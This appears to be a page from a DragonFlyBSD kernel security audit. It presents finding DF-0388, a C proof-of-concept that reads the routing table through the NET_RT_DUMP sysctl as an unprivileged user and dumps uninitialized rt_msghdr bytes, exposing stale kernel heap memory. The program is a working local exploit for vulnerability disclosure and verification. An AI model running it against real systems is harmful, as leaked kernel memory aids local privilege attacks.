DragonFlyBSD Kernel Audit
DF-0388 / df_0388_leak.c
← back to finding ↓ download raw
/*
 * DF-0388 — kernel heap info leak via uninitialized rt_msghdr fields in
 *           NET_RT_DUMP sysctl response.
 *
 * sys/net/rtsock.c:1676 -- rttable_walkarg_create()
 *   w->w_buf = kmalloc(w->w_bufsz, M_TEMP, M_WAITOK | M_NULLOK);   // NO M_ZERO
 *
 * sys/net/rtsock.c:1792-1801 -- rttable_walk_entry() writes selected fields
 *   rtm_flags, rtm_use, rtm_rmx, rtm_index, rtm_errno, rtm_pid, rtm_seq,
 *   rtm_addrs -- but NEVER writes rtm_inits (u_long @ offset 32, ~8 bytes)
 *   nor the 2 bytes of struct padding between rtm_index (u_short @ off 4)
 *   and rtm_flags (int @ off 8).
 *
 * The unwritten bytes are emitted verbatim by SYSCTL_OUT (rtsock.c:1855).
 * sysctl NET_RT_DUMP is CTLFLAG_RD-only (no priv check; readable by any
 * unprivileged local user).
 *
 * PoC: read the routing table via sysctl(2), find the rt_msghdr records,
 * and dump rtm_inits + the index/flags padding bytes. If any of these are
 * non-zero and vary across runs (after a fresh slab fill), it is stale heap.
 *
 * Build:  cc -O2 -Wall -o df_0388_leak df_0388_leak.c
 * Run:    ./df_0388_leak     [as any unprivileged user]
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <net/route.h>
#include <netinet/in.h>
#include <errno.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* MIB: net.route.0.(af).(op=NET_RT_DUMP).(arg=0) */
/* CTL_NET=4, PF_ROUTE=17, RTPROC=0, then handler wants: af, op, arg */
int
dump_rt(int af, int runs)
{
    int name[6];
    size_t needed;
    int rc;

    name[0] = CTL_NET;
    name[1] = PF_ROUTE;
    name[2] = 0;            /* protocol family */ /* handler does name++ */
    name[3] = af;           /* af */
    name[4] = NET_RT_DUMP;  /* op */
    name[5] = 0;            /* arg */

    /* First: get size */
    needed = 0;
    rc = sysctl(name, 6, NULL, &needed, NULL, 0);
    if (rc < 0) {
        if (errno == ENOENT) return 0; /* af has no routes */
        fprintf(stderr, "sysctl(2,size) af=%d: %s\n", af, strerror(errno));
        return -1;
    }
    if (needed == 0) return 0;

    char *buf = malloc(needed);
    if (!buf) { perror("malloc"); return -1; }
    size_t got = needed;
    rc = sysctl(name, 6, buf, &got, NULL, 0);
    if (rc < 0) { fprintf(stderr, "sysctl(2,data) af=%d: %s\n", af, strerror(errno)); free(buf); return -1; }

    /* Walk records: each begins with rt_msghdr; rtm_msglen gives total len. */
    long off = 0;
    int nrec = 0, nz_inits = 0, nz_pad = 0;
    uint64_t inits_or = 0;       /* OR of all rtm_inits seen */
    uint16_t pad_or  = 0;        /* OR of all index/flags padding bytes */
    while (off + (long)sizeof(struct rt_msghdr) <= (long)got) {
        struct rt_msghdr *rtm = (struct rt_msghdr *)(buf + off);
        int ml = rtm->rtm_msglen;
        if (ml < (int)sizeof(struct rt_msghdr) || off + ml > (long)got) break;

        /* rtm_inits is u_long @ offsetof 32 in DragonFly 64-bit */
        uint64_t inits = (uint64_t)rtm->rtm_inits;
        /* 2 bytes padding between rtm_index (u_short off 4..5) and rtm_flags
         * (int off 8). Read them as raw bytes. */
        uint8_t p6 = ((uint8_t*)rtm)[6];
        uint8_t p7 = ((uint8_t*)rtm)[7];
        uint16_t pad = (uint16_t)((p6 << 8) | p7);

        if (inits) { nz_inits++; inits_or |= inits; }
        if (pad)   { nz_pad++;   pad_or   |= pad; }

        if (runs == 0 && nrec < 8) {
            printf("  af=%d rec#%d msglen=%d type=%d index=%u "
                   "pad[6,7]=%02x,%02x rtm_inits=0x%016llx rtm_addrs=0x%x\n",
                   af, nrec, ml, rtm->rtm_type, rtm->rtm_index,
                   p6, p7, (unsigned long long)inits, rtm->rtm_addrs);
        }
        nrec++;
        off += ml;
    }
    printf("run=%d  af=%d  records=%d  rtm_inits!=0:%d (OR=0x%016llx)  "
           "pad!=0:%d (OR=0x%04x)\n",
           runs, af, nrec, nz_inits, (unsigned long long)inits_or,
           nz_pad, pad_or);
    free(buf);
    return 0;
}

int
main(void)
{
    int i;
    int afs[] = { AF_INET, AF_INET6, AF_LOCAL, AF_ROUTE };
    int nafs = (int)(sizeof(afs)/sizeof(afs[0]));

    printf("uid=%d euid=%d\n", getuid(), geteuid());
    for (i = 0; i < nafs; i++)
        dump_rt(afs[i], 0);

    printf("--- 3 more runs to test variance (stale heap differs across runs) ---\n");
    /* Touch many slabs between runs to perturb heap state */
    for (int r = 1; r <= 3; r++) {
        /* perturb: open+close a bunch of sockets to dirty M_TEMP-ish slabs */
        for (int k = 0; k < 64; k++) {
            int s = socket(AF_INET, SOCK_DGRAM, 0);
            if (s >= 0) close(s);
        }
        for (int k = 0; k < nafs; k++)
            dump_rt(afs[k], r);
    }
    return 0;
}